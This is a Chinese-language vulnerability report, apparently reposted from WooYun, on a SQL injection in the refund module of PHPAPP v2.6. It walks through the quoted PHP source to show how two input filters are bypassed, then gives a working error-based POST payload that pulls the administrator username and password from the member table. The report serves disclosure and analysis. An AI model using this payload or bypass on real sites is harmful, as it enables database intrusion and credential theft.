php member limit,PHPAPP注入第四枚(各种无视过滤)

### 简要描述:

PHPAPP注入第四枚(各种无视过滤)

### 详细说明:

在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。

PSOT注入点:wwww.xxx.com/member.php?action=1&app=43&cid=1&rid=2, 存在漏洞的文件在/phpapp/apps/refund/member_phpapp.php

下面分析一下漏洞产生的原因

第一处绕过:

先看看是如何得到$_POST中的内容的,$this->POST=$this->POSTArray();去看看POSTArray()

/phpapp/apps/core/class/core_class_phpapp.php

```

function POSTArray(){

$postarr=array();

if(is_array($_POST)){

foreach($_POST as $key=>$value){

$keyarr=explode('_',$key);

$count=count($keyarr);

if($count>1){

$keyname='';

for($i=0;$i

if($keyname){

$keyname.='_'.$keyarr[$i];

}else{

$keyname=$keyarr[$i];

}

}

if($keyarr[$count-1]=='s'){

$isajax=empty($_SERVER['HTTP_X_REQUESTED_WITH']) ? '' : $_SERVER['HTTP_X_REQUESTED_WITH'];

if($isajax=='XMLHttpRequest'){

$value=$this->ConvertStr($value);

}

$postarr[$keyname]=$this->str($value,0,1,0,0,0,1);

}elseif($keyarr[$count-1]=='d'){

$postarr[$keyname]=intval($value);

}elseif($keyarr[$count-1]=='f'){

$postarr[$keyname]=floatval($value);

}else{

$postarr[$key]=$value;

}

}else{

$postarr[$key]=$value;

}

}

}

return $postarr;

}

```

可以看到有这么一句判断if($keyarr[$count-1]=='s'),即如果key的最后一个字母是’s’时,条件成立,用户的输入会经过str方法的防注处理。

如何绕过呢?当然是把key的最后一个字母’_s’删掉!

第二处绕过:

```

if($consumearr['cid']>0){

$sellerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[selleruid]' ");

$buyerarr=$this->GetMysqlOne('uid,username'," ".$this->GetTable('member')." WHERE uid='$consumearr[buyeruid]' ");

if($this->uid!=$consumearr['buyeruid']){

$this->Refresh('对不起!您没有权限操作!',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid.'&rid='.$this->rid.'&op=1');

}

if($this->POST['submit']){

if($this->IsSQL('refund_money',"WHERE cid='$this->cid' AND process=3")){

$this->Refresh('该订单您已经申请退款并处理过了!',SURL.'/member.php?app='.$this->app.'&action=1');

}

if($consumearr['process']!=6){

$this->POST['money']=floatval($this->POST['money']);

$this->POST['content']=$this->str($this->POST['content'],0,0,0,1,0,0,1);

$consumemoney=$consumearr['amount']+$consumearr['fee'];

if($this->POST['money']> $consumemoney){

$this->Refresh('对不起您申请的退款金额不能大于 '.$consumemoney.' 元!',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid);

}

include_once(Core.'/class/photo_upload_phpapp.php');

if($_FILES['buyerphoto']['size']>0){

$photoid=empty($refund['buyerphoto']) ? 0 : intval($refund['buyerphoto']);

$upload=new UploadPhoto($_FILES['buyerphoto'],$photoid);

$photoid=$upload->CheckUpload();

}else{

if(!empty($refund['buyerphoto'])){

$photoid=intval($refund['buyerphoto']);

}

}

$this->Update('consume',array('refundmoney'=>$this->POST['money'],'process'=>4),array()," WHERE cid='$consumearr[cid]'");

$edittxt='';

if($this->rid>0){

$edittxt='修改了';

}

if($this->rid>0){

$this->Update('refund_money',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'");

}

```

再往下看,看到了这句$this->Update('refund_money',$this->POST,array('dateline'=>$this->NowTime(),'buyeruid'=>$consumearr['buyeruid'],'selleruid'=>$consumearr['selleruid'],'tid'=>$consumearr['tid'],'cid'=>$consumearr['cid'],'oid'=>$consumearr['oid'],'buyerphoto'=>$photoid,'process'=>1)," WHERE rid='$this->rid' AND buyeruid='$this->uid'");把整个post的内容带入了Update方法

再去看看Update方法,/phpapp/apps/core/class/mysql_class_phpapp.php

```

//表名, 修改数组,添加合并数组,条件

function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){

$setarray=array_merge($setarray,$addarr);

$deletearr=$this->GetMysqlFieldArray($tablename);

if($setarray){

$sqlset='';

foreach($setarray as $key=>$value){

$_key=strtolower($key);

if(isset($deletearr[$_key])){

$value=$this->dataTypeConvert($value,$deletearr[$_key]);

if($sqlset){

$sqlset.=',`'.$_key.'`=\''.$value.'\'';

}else{

$sqlset='`'.$_key.'`=\''.$value.'\'';

}

}

}

$query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif);

//exit($query);

return $this->MysqlQuery($query);

}else{

return false;

}

}

```

Update代码防注分析:

1、通过GetMysqlFieldArray方法获取数据表的所有字段名及每个字段对应的属性;

2、判断用户post的内容中的key是否是数据表中的字段名,防止了key的注入;

3、通过dataTypeConvert方法把用户提交的数据按数据表中各字段的类型进行防注转换。

如果以上每一步的代码都正确实现了的话,应该是没有办法注入的,但是这里的第3步中,也就是dataTypeConvert方法的实现时有疏忽,看下面代码。

```

function dataTypeConvert($data,$type){

switch($type){

case 'int':

$data=intval($data);

break;

case 'real':

$data=doubleval($data);

break;

case 'timestamp':

$data=intval($data);

break;

case 'string':

case 'year':

case 'date':

case 'time':

case 'datetime':

case 'blob':

default:

//$data=intval($data);

break;

}

return $data;

}

```

只对int、real、timestamp做了处理,其他的类型这里没有处理。

绕过方法:

在提交http请求时,可以提交其他类型的参数,但其他参数必须是数据表(phpapp_refund_money)中的字段,且类型不是int、real、timestamp的参数。这里有多个参数可以注入。

测试时请保证自己的账号有可退款的订单,如果没有的话,(真实的网站肯定可以有订单)为了测试方便,把if($consumearr['cid']>0)改为if(true==true)且把if($this->uid!=$consumearr['buyeruid']){ $this->Refresh('对不起!您没有权限操作!',SURL.'/member.php?app='.$this->app.'&action=1&cid='.$this->cid.'&rid='.$this->rid.'&op=1'); }注释掉

下面以sellercontent为例进行证明:

Phpapp可以显错,那就用error-based blind进行注入。

Pyload:(POST提交)

```

cid=1&submit=2&sellercontent=test' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat

(0x23,username,0x23,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or'

```

注入成功,管理员用户名及密码如下图中所示:

[注入成功副本.jpg](https://images.seebug.org/upload/201412/2523363403d37214f83c1894eb3246e295bac3e0.jpg)

### 漏洞证明:

见 详细证明

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值